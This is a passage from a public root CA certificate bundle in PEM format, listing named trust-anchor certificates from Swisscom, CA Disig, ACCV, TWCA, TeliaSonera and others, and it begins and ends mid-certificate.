PkNoaW5hIEludGVybmV0IE5ldHdvcmsgSW5mb3JtYXRpb24gQ2VudGVyIEVWIENlcnRpZmljYXRl cyBSb290MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAm35z7r07eKpkQ0H1UN+U8i6y jUqORlTSIRLIOTJCBumD1Z9S7eVnAztUwYyZmczpwA//DdmEEbK40ctb3B75aDFk4Zv6dOtouSCV 98YPjUesWgbdYavi7NifFy2cyjw1l1VxzUOFsUcW9SxTgHbP0wBkvUCZ3czY28Sf1hNfQYOL+Q2H klY0bBoQCxfVWhyXWIQ8hBouXJE0bhlffxdpxWXvayHG1VA6v2G5BY3vbzQ6sm8UY78WO5upKv23 KzhmBsUs4qpnHkWnjQRmQvaPK++IIGmPMowUc9orhpFjIpryp9vOiYurXccUwVswah+xt54ugQEC 7c+WXmPbqOY4twIDAQABo2MwYTAfBgNVHSMEGDAWgBR8cks5x8DbYqVPm6oYNJKiyoOCWTAPBgNV HRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUfHJLOcfA22KlT5uqGDSSosqD glkwDQYJKoZIhvcNAQEFBQADggEBACrDx0M3j92tpLIM7twUbY8opJhJywyA6vPtI2Z1fcXTIWd5 0XPFtQO3WKwMVC/GVhMPMdoG52U7HW8228gd+f2ABsqjPWYWqJ1MFn3AlUa1UeTiH9fqBk1jjZaM 7+czV0I664zBechNdn3e9rG3geCg+aF4RhcaVpjwTj2rHO3sOdwHSPdj/gauwqRcalsyiMXHM4Ws ZkJHwlgkmeHlPuV1LI5D1l08eB6olYIpUNHRFrrvwb562bTYzB5MRuF3sTGrvSrIzo9uoV1/A3U0 5K2JRVRevq4opbs/eHnrc7MKDf2+yfdWrPa37S+bISnHOLaVxATywy39FCqQmbkHzJ8= -----END CERTIFICATE----- Swisscom Root CA 2 ================== -----BEGIN CERTIFICATE----- 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 5OfNeOI5wSsSnqaeG8XmDtkx2Q== -----END CERTIFICATE----- Swisscom Root EV CA 2 ===================== -----BEGIN CERTIFICATE----- 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 l8PVP3wbI+2ksx0WckNLIOFZfsLorSa/ovc= -----END CERTIFICATE----- CA Disig Root R1 ================ -----BEGIN CERTIFICATE----- MIIFaTCCA1GgAwIBAgIJAMMDmu5QkG4oMA0GCSqGSIb3DQEBBQUAMFIxCzAJBgNVBAYTAlNLMRMw EQYDVQQHEwpCcmF0aXNsYXZhMRMwEQYDVQQKEwpEaXNpZyBhLnMuMRkwFwYDVQQDExBDQSBEaXNp ZyBSb290IFIxMB4XDTEyMDcxOTA5MDY1NloXDTQyMDcxOTA5MDY1NlowUjELMAkGA1UEBhMCU0sx EzARBgNVBAcTCkJyYXRpc2xhdmExEzARBgNVBAoTCkRpc2lnIGEucy4xGTAXBgNVBAMTEENBIERp c2lnIFJvb3QgUjEwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCqw3j33Jijp1pedxiy 3QRkD2P9m5YJgNXoqqXinCaUOuiZc4yd39ffg/N4T0Dhf9Kn0uXKE5Pn7cZ3Xza1lK/oOI7bm+V8 u8yN63Vz4STN5qctGS7Y1oprFOsIYgrY3LMATcMjfF9DCCMyEtztDK3AfQ+lekLZWnDZv6fXARz2 m6uOt0qGeKAeVjGu74IKgEH3G8muqzIm1Cxr7X1r5OJeIgpFy4QxTaz+29FHuvlglzmxZcfe+5nk CiKxLU3lSCZpq+Kq8/v8kiky6bM+TR8noc2OuRf7JT7JbvN32g0S9l3HuzYQ1VTW8+DiR0jm3hTa YVKvJrT1cU/J19IG32PK/yHoWQbgCNWEFVP3Q+V8xaCJmGtzxmjOZd69fwX3se72V6FglcXM6pM6 vpmumwKjrckWtc7dXpl4fho5frLABaTAgqWjR56M6ly2vGfb5ipN0gTco65F97yLnByn1tUD3AjL LhbKXEAz6GfDLuemROoRRRw1ZS0eRWEkG4IupZ0zXWX4Qfkuy5Q/H6MMMSRE7cderVC6xkGbrPAX ZcD4XW9boAo0PO7X6oifmPmvTiT6l7Jkdtqr9O3jw2Dv1fkCyC2fg69naQanMVXVz0tv/wQFx1is XxYb5dKj6zHbHzMVTdDypVP1y+E9Tmgt2BLdqvLmTZtJ5cUoobqwWsagtQIDAQABo0IwQDAPBgNV HRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUiQq0OJMa5qvum5EY+fU8PjXQ 04IwDQYJKoZIhvcNAQEFBQADggIBADKL9p1Kyb4U5YysOMo6CdQbzoaz3evUuii+Eq5FLAR0rBNR xVgYZk2C2tXck8An4b58n1KeElb21Zyp9HWc+jcSjxyT7Ff+Bw+r1RL3D65hXlaASfX8MPWbTx9B LxyE04nH4toCdu0Jz2zBuByDHBb6lM19oMgY0sidbvW9adRtPTXoHqJPYNcHKfyyo6SdbhWSVhlM CrDpfNIZTUJG7L399ldb3Zh+pE3McgODWF3vkzpBemOqfDqo9ayk0d2iLbYq/J8BjuIQscTK5Gfb VSUZP/3oNn6z4eGBrxEWi1CXYBmCAMBrTXO40RMHPuq2MU/wQppt4hF05ZSsjYSVPCGvxdpHyN85 YmLLW1AL14FABZyb7bq2ix4Eb5YgOe2kfSnbSM6C3NQCjR0EMVrHS/BsYVLXtFHCgWzN4funodKS ds+xDzdYpPJScWc/DIh4gInByLUfkmO+p3qKViwaqKactV2zY9ATIKHrkWzQjX2v3wvkF7mGnjix lAxYjOBVqjtjbZqJYLhkKpLGN/R+Q0O3c+gB53+XD9fyexn9GtePyfqFa3qdnom2piiZk4hA9z7N UaPK6u95RyG1/jLix8NRb76AdPCkwzryT+lf3xkK8jsTQ6wxpLPn6/wY1gGp8yqPNg7rtLG8t0zJ a7+h89n07eLw4+1knj0vllJPgFOL -----END CERTIFICATE----- CA Disig Root R2 ================ -----BEGIN CERTIFICATE----- MIIFaTCCA1GgAwIBAgIJAJK4iNuwisFjMA0GCSqGSIb3DQEBCwUAMFIxCzAJBgNVBAYTAlNLMRMw EQYDVQQHEwpCcmF0aXNsYXZhMRMwEQYDVQQKEwpEaXNpZyBhLnMuMRkwFwYDVQQDExBDQSBEaXNp ZyBSb290IFIyMB4XDTEyMDcxOTA5MTUzMFoXDTQyMDcxOTA5MTUzMFowUjELMAkGA1UEBhMCU0sx EzARBgNVBAcTCkJyYXRpc2xhdmExEzARBgNVBAoTCkRpc2lnIGEucy4xGTAXBgNVBAMTEENBIERp c2lnIFJvb3QgUjIwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCio8QACdaFXS1tFPbC w3OeNcJxVX6B+6tGUODBfEl45qt5WDza/3wcn9iXAng+a0EE6UG9vgMsRfYvZNSrXaNHPWSb6Wia xswbP7q+sos0Ai6YVRn8jG+qX9pMzk0DIaPY0jSTVpbLTAwAFjxfGs3Ix2ymrdMxp7zo5eFm1tL7 A7RBZckQrg4FY8aAamkw/dLukO8NJ9+flXP04SXabBbeQTg06ov80egEFGEtQX6sx3dOy1FU+16S GBsEWmjGycT6txOgmLcRK7fWV8x8nhfRyyX+hk4kLlYMeE2eARKmK6cBZW58Yh2EhN/qwGu1pSqV g8NTEQxzHQuyRpDRQjrOQG6Vrf/GlK1ul4SOfW+eioANSW1z4nuSHsPzwfPrLgVv2RvPN3YEyLRa 5Beny912H9AZdugsBbPWnDTYltxhh5EF5EQIM8HauQhl1K6yNg3ruji6DOWbnuuNZt2Zz9aJQfYE koopKW1rOhzndX0CcQ7zwOe9yxndnWCywmZgtrEE7snmhrmaZkCo5xHtgUUDi/ZnWejBBhG93c+A Ak9lQHhcR1DIm+YfgXvkRKhbhZri3lrVx/k6RGZL5DJUfORsnLMOPReisjQS1n6yqEm70XooQL6i Fh/f5DcfEXP7kAplQ6INfPgGAVUzfbANuPT1rqVCV3w2EYx7XsQDnYx5nQIDAQABo0IwQDAPBgNV HRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUtZn4r7CU9eMg1gqtzk5WpC5u Qu0wDQYJKoZIhvcNAQELBQADggIBACYGXnDnZTPIgm7ZnBc6G3pmsgH2eDtpXi/q/075KMOYKmFM tCQSin1tERT3nLXK5ryeJ45MGcipvXrA1zYObYVybqjGom32+nNjf7xueQgcnYqfGopTpti72TVV sRHFqQOzVju5hJMiXn7B9hJSi+osZ7z+Nkz1uM/Rs0mSO9MpDpkblvdhuDvEK7Z4bLQjb/D907Je dR+Zlais9trhxTF7+9FGs9K8Z7RiVLoJ92Owk6Ka+elSLotgEqv89WBW7xBci8QaQtyDW2QOy7W8 1k/BfDxujRNt+3vrMNDcTa/F1balTFtxyegxvug4BkihGuLq0t4SOVga/4AOgnXmt8kHbA7v/zjx mHHEt38OFdAlab0inSvtBfZGR6ztwPDUO+Ls7pZbkBNOHlY667DvlruWIxG68kOGdGSVyCh13x01 utI3gzhTODY7z2zp+WsO0PsE6E9312UBeIYMej4hYvF/Y3EMyZ9E26gnonW+boE+18DrG5gPcFw0 sorMwIUY6256s/daoQe/qUKS82Ail+QUoQebTnbAjn39pCXHR+3/H3OszMOl6W8KjptlwlCFtaOg UxLMVYdh84GuEEZhvUQhuMI9dM9+JDX6HAcOmz0iyu8xL4ysEr3vQCj8KWefshNPZiTEUxnpHikV 7+ZtsH8tZ/3zbBt1RqPlShfppNcL -----END CERTIFICATE----- ACCVRAIZ1 ========= -----BEGIN CERTIFICATE----- MIIH0zCCBbugAwIBAgIIXsO3pkN/pOAwDQYJKoZIhvcNAQEFBQAwQjESMBAGA1UEAwwJQUNDVlJB SVoxMRAwDgYDVQQLDAdQS0lBQ0NWMQ0wCwYDVQQKDARBQ0NWMQswCQYDVQQGEwJFUzAeFw0xMTA1 MDUwOTM3MzdaFw0zMDEyMzEwOTM3MzdaMEIxEjAQBgNVBAMMCUFDQ1ZSQUlaMTEQMA4GA1UECwwH UEtJQUNDVjENMAsGA1UECgwEQUNDVjELMAkGA1UEBhMCRVMwggIiMA0GCSqGSIb3DQEBAQUAA4IC DwAwggIKAoICAQCbqau/YUqXry+XZpp0X9DZlv3P4uRm7x8fRzPCRKPfmt4ftVTdFXxpNRFvu8gM jmoYHtiP2Ra8EEg2XPBjs5BaXCQ316PWywlxufEBcoSwfdtNgM3802/J+Nq2DoLSRYWoG2ioPej0 RGy9ocLLA76MPhMAhN9KSMDjIgro6TenGEyxCQ0jVn8ETdkXhBilyNpAlHPrzg5XPAOBOp0KoVdD aaxXbXmQeOW1tDvYvEyNKKGno6e6Ak4l0Squ7a4DIrhrIA8wKFSVf+DuzgpmndFALW4ir50awQUZ 0m/A8p/4e7MCQvtQqR0tkw8jq8bBD5L/0KIV9VMJcRz/RROE5iZe+OCIHAr8Fraocwa48GOEAqDG WuzndN9wrqODJerWx5eHk6fGioozl2A3ED6XPm4pFdahD9GILBKfb6qkxkLrQaLjlUPTAYVtjrs7 8yM2x/474KElB0iryYl0/wiPgL/AlmXz7uxLaL2diMMxs0Dx6M/2OLuc5NF/1OVYm3z61PMOm3WR 5LpSLhl+0fXNWhn8ugb2+1KoS5kE3fj5tItQo05iifCHJPqDQsGH+tUtKSpacXpkatcnYGMN285J 9Y0fkIkyF/hzQ7jSWpOGYdbhdQrqeWZ2iE9x6wQl1gpaepPluUsXQA+xtrn13k/c4LOsOxFwYIRK Q26ZIMApcQrAZQIDAQABo4ICyzCCAscwfQYIKwYBBQUHAQEEcTBvMEwGCCsGAQUFBzAChkBodHRw Oi8vd3d3LmFjY3YuZXMvZmlsZWFkbWluL0FyY2hpdm9zL2NlcnRpZmljYWRvcy9yYWl6YWNjdjEu Y3J0MB8GCCsGAQUFBzABhhNodHRwOi8vb2NzcC5hY2N2LmVzMB0GA1UdDgQWBBTSh7Tj3zcnk1X2 VuqB5TbMjB4/vTAPBgNVHRMBAf8EBTADAQH/MB8GA1UdIwQYMBaAFNKHtOPfNyeTVfZW6oHlNsyM Hj+9MIIBcwYDVR0gBIIBajCCAWYwggFiBgRVHSAAMIIBWDCCASIGCCsGAQUFBwICMIIBFB6CARAA QQB1AHQAbwByAGkAZABhAGQAIABkAGUAIABDAGUAcgB0AGkAZgBpAGMAYQBjAGkA8wBuACAAUgBh AO0AegAgAGQAZQAgAGwAYQAgAEEAQwBDAFYAIAAoAEEAZwBlAG4AYwBpAGEAIABkAGUAIABUAGUA YwBuAG8AbABvAGcA7QBhACAAeQAgAEMAZQByAHQAaQBmAGkAYwBhAGMAaQDzAG4AIABFAGwAZQBj AHQAcgDzAG4AaQBjAGEALAAgAEMASQBGACAAUQA0ADYAMAAxADEANQA2AEUAKQAuACAAQwBQAFMA IABlAG4AIABoAHQAdABwADoALwAvAHcAdwB3AC4AYQBjAGMAdgAuAGUAczAwBggrBgEFBQcCARYk aHR0cDovL3d3dy5hY2N2LmVzL2xlZ2lzbGFjaW9uX2MuaHRtMFUGA1UdHwROMEwwSqBIoEaGRGh0 dHA6Ly93d3cuYWNjdi5lcy9maWxlYWRtaW4vQXJjaGl2b3MvY2VydGlmaWNhZG9zL3JhaXphY2N2 MV9kZXIuY3JsMA4GA1UdDwEB/wQEAwIBBjAXBgNVHREEEDAOgQxhY2N2QGFjY3YuZXMwDQYJKoZI hvcNAQEFBQADggIBAJcxAp/n/UNnSEQU5CmH7UwoZtCPNdpNYbdKl02125DgBS4OxnnQ8pdpD70E R9m+27Up2pvZrqmZ1dM8MJP1jaGo/AaNRPTKFpV8M9xii6g3+CfYCS0b78gUJyCpZET/LtZ1qmxN YEAZSUNUY9rizLpm5U9EelvZaoErQNV/+QEnWCzI7UiRfD+mAM/EKXMRNt6GGT6d7hmKG9Ww7Y49 nCrADdg9ZuM8Db3VlFzi4qc1GwQA9j9ajepDvV+JHanBsMyZ4k0ACtrJJ1vnE5Bc5PUzolVt3OAJ TS+xJlsndQAJxGJ3KQhfnlmstn6tn1QwIgPBHnFk/vk4CpYY3QIUrCPLBhwepH2NDd4nQeit2hW3 sCPdK6jT2iWH7ehVRE2I9DZ+hJp4rPcOVkkO1jMl1oRQQmwgEh0q1b688nCBpHBgvgW1m54ERL5h I6zppSSMEYCUWqKiuUnSwdzRp+0xESyeGabu4VXhwOrPDYTkF7eifKXeVSUG7szAh1xA2syVP1Xg Nce4hL60Xc16gwFy7ofmXx2utYXGJt/mwZrpHgJHnyqobalbz+xFd3+YJ5oyXSrjhO7FmGYvliAd 3djDJ9ew+f7Zfc3Qn48LFFhRny+Lwzgt3uiP1o2HpPVWQxaZLPSkVrQ0uGE3ycJYgBugl6H8WY3p EfbRD0tVNEYqi4Y7 -----END CERTIFICATE----- TWCA Global Root CA =================== -----BEGIN CERTIFICATE----- MIIFQTCCAymgAwIBAgICDL4wDQYJKoZIhvcNAQELBQAwUTELMAkGA1UEBhMCVFcxEjAQBgNVBAoT CVRBSVdBTi1DQTEQMA4GA1UECxMHUm9vdCBDQTEcMBoGA1UEAxMTVFdDQSBHbG9iYWwgUm9vdCBD QTAeFw0xMjA2MjcwNjI4MzNaFw0zMDEyMzExNTU5NTlaMFExCzAJBgNVBAYTAlRXMRIwEAYDVQQK EwlUQUlXQU4tQ0ExEDAOBgNVBAsTB1Jvb3QgQ0ExHDAaBgNVBAMTE1RXQ0EgR2xvYmFsIFJvb3Qg Q0EwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCwBdvI64zEbooh745NnHEKH1Jw7W2C nJfF10xORUnLQEK1EjRsGcJ0pDFfhQKX7EMzClPSnIyOt7h52yvVavKOZsTuKwEHktSz0ALfUPZV r2YOy+BHYC8rMjk1Ujoog/h7FsYYuGLWRyWRzvAZEk2tY/XTP3VfKfChMBwqoJimFb3u/Rk28OKR Q4/6ytYQJ0lM793B8YVwm8rqqFpD/G2Gb3PpN0Wp8DbHzIh1HrtsBv+baz4X7GGqcXzGHaL3SekV tTzWoWH1EfcFbx39Eb7QMAfCKbAJTibc46KokWofwpFFiFzlmLhxpRUZyXx1EcxwdE8tmx2RRP1W KKD+u4ZqyPpcC1jcxkt2yKsi2XMPpfRaAok/T54igu6idFMqPVMnaR1sjjIsZAAmY2E2TqNGtz99 sy2sbZCilaLOz9qC5wc0GZbpuCGqKX6mOL6OKUohZnkfs8O1CWfe1tQHRvMq2uYiN2DLgbYPoA/p yJV/v1WRBXrPPRXAb94JlAGD1zQbzECl8LibZ9WYkTunhHiVJqRaCPgrdLQABDzfuBSO6N+pjWxn kjMdwLfS7JLIvgm/LCkFbwJrnu+8vyq8W8BQj0FwcYeyTbcEqYSjMq+u7msXi7Kx/mzhkIyIqJdI zshNy/MGz19qCkKxHh53L46g5pIOBvwFItIm4TFRfTLcDwIDAQABoyMwITAOBgNVHQ8BAf8EBAMC AQYwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAgEAXzSBdu+WHdXltdkCY4QWwa6g cFGn90xHNcgL1yg9iXHZqjNB6hQbbCEAwGxCGX6faVsgQt+i0trEfJdLjbDorMjupWkEmQqSpqsn LhpNgb+E1HAerUf+/UqdM+DyucRFCCEK2mlpc3INvjT+lIutwx4116KD7+U4x6WFH6vPNOw/KP4M 8VeGTslV9xzU2KV9Bnpv1d8Q34FOIWWxtuEXeZVFBs5fzNxGiWNoRI2T9GRwoD2dKAXDOXC4Ynsg /eTb6QihuJ49CcdP+yz4k3ZB3lLg4VfSnQO8d57+nile98FRYB/e2guyLXW3Q0iT5/Z5xoRdgFlg lPx4mI88k1HtQJAH32RjJMtOcQWh15QaiDLxInQirqWm2BJpTGCjAu4r7NRjkgtevi92a6O2JryP A9gK8kxkRr05YuWW6zRjESjMlfGt7+/cgFhI6Uu46mWs6fyAtbXIRfmswZ/ZuepiiI7E8UuDEq3m i4TWnsLrgxifarsbJGAzcMzs9zLzXNl5fe+epP7JI8Mk7hWSsT2RTyaGvWZzJBPqpK5jwa19hAM8 EHiGG3njxPPyBJUgriOCxLM6AGK/5jYk4Ve6xx6QddVfP5VhK8E7zeWzaGHQRiapIVJpLesux+t3 zqY6tQMzT3bR51xUAV3LePTJDL/PEo4XLSNolOer/qmyKwbQBM0= -----END CERTIFICATE----- TeliaSonera Root CA v1 ====================== -----BEGIN CERTIFICATE----- MIIFODCCAyCgAwIBAgIRAJW+FqD3LkbxezmCcvqLzZYwDQYJKoZIhvcNAQEFBQAwNzEUMBIGA1UE CgwLVGVsaWFTb25lcmExHzAdBgNVBAMMFlRlbGlhU29uZXJhIFJvb3QgQ0EgdjEwHhcNMDcxMDE4 MTIwMDUwWhcNMzIxMDE4MTIwMDUwWjA3MRQwEgYDVQQKDAtUZWxpYVNvbmVyYTEfMB0GA1UEAwwW VGVsaWFTb25lcmEgUm9vdCBDQSB2MTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAMK+ 6yfwIaPzaSZVfp3FVRaRXP3vIb9TgHot0pGMYzHw7CTww6XScnwQbfQ3t+XmfHnqjLWCi65ItqwA 3GV17CpNX8GH9SBlK4GoRz6JI5UwFpB/6FcHSOcZrr9FZ7E3GwYq/t75rH2D+1665I+XZ75Ljo1k B1c4VWk0Nj0TSO9P4tNmHqTPGrdeNjPUtAa9GAH9d4RQAEX1jF3oI7x+/jXh7VB7qTCNGdMJjmhn Xb88lxhTuylixcpecsHHltTbLaC0H2kD7OriUPEMPPCs81Mt8Bz17Ww5OXOAFshSsCPN4D7c3TxH oLs1iuKYaIu+5b9y7tL6pe0S7fyYGKkmdtwoSxAgHNN/Fnct7W+A90m7UwW7XWjH1Mh1Fj+JWov3 F0fUTPHSiXk+TT2YqGHeOh7S+F4D4MHJHIzTjU3TlTazN19jY5szFPAtJmtTfImMMsJu7D0hADnJ oWjiUIMusDor8zagrC/kb2HCUQk5PotTubtn2txTuXZZNp1D5SDgPTJghSJRt8czu90VL6R4pgd7 gUY2BIbdeTXHlSw7sKMXNeVzH7RcWe/a6hBle3rQf5+ztCo3O3CLm1u5K7fsslESl1MpWtTwEhDc TwK7EpIvYtQ/aUN8Ddb8WHUBiJ1YFkveupD/RwGJBmr2X7KQarMCpgKIv7NHfirZ1fpoeDVNAgMB AAGjPzA9MA8GA1UdEwEB/wQFMAMBAf8wCwYDVR0PBAQDAgEGMB0GA1UdDgQWBBTwj1k4ALP1j5qW DNXr+nuqF+gTEjANBgkqhkiG9w0BAQUFAAOCAgEAvuRcYk4k9AwI//DTDGjkk0kiP0Qnb7tt3oNm zqjMDfz1mgbldxSR651Be5kqhOX//CHBXfDkH1e3damhXwIm/9fH907eT/j3HEbAek9ALCI18Bmx 0GtnLLCo4MBANzX2hFxc469CeP6nyQ1Q6g2EdvZR74NTxnr/DlZJLo961gzmJ1TjTQpgcmLNkQfW pb/ImWvtxBnmq0wROMVvMeJuScg/doAmAyYp4Db29iBT4xdwNBedY2gea+zDTYa4EzAvXUYNR0PV G6pZDrlcjQZIrXSHX8f8MVRBE+LHIQ6e4B4N4cB7Q4WQxYpYxmUKeFfyxiMPAdkgS94P+5KFdSpc c41teyWRyu5FrgZLAMzTsVlQ2jqIOylDRl6XK1TOU2+NSueW+r9xDkKLfP0ooNBIytrEgUy7onOT JsjrDNYmiLbAJM+7vVvrdX3pCI6GMyx5dwlppYn8s3CQh3aP0yK7Qs69cwsgJirQmz1wHiRszYd2 qReWt88NkvuOGKmYSdGe/mBEciG5Ge3C9THxOUiIkCR1VBatzvT4aRRkOfujuLpwQMcnHL/EVlP6 Y2XQ8xwOFvVrhlhNGNTkDY6lnVuR3HYkUD/GKvvZt5y11ubQ2egZixVxSK236thZiNSQvxaz2ems WWFUyBy6ysHK4bkgTI86k4mloMy/0/Z1pHWWbVY= -----END CERTIFICATE----- E-Tugra Certification Authority =============================== -----BEGIN CERTIFICATE----- MIIGSzCCBDOgAwIBAgIIamg+nFGby1MwDQYJKoZIhvcNAQELBQAwgbIxCzAJBgNVBAYTAlRSMQ8w DQYDVQQHDAZBbmthcmExQDA+BgNVBAoMN0UtVHXEn3JhIEVCRyBCaWxpxZ9pbSBUZWtub2xvamls ZXJpIHZlIEhpem1ldGxlcmkgQS7Fni4xJjAkBgNVBAsMHUUtVHVncmEgU2VydGlmaWthc3lvbiBN ZXJrZXppMSgwJgYDVQQDDB9FLVR1Z3JhIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTEzMDMw 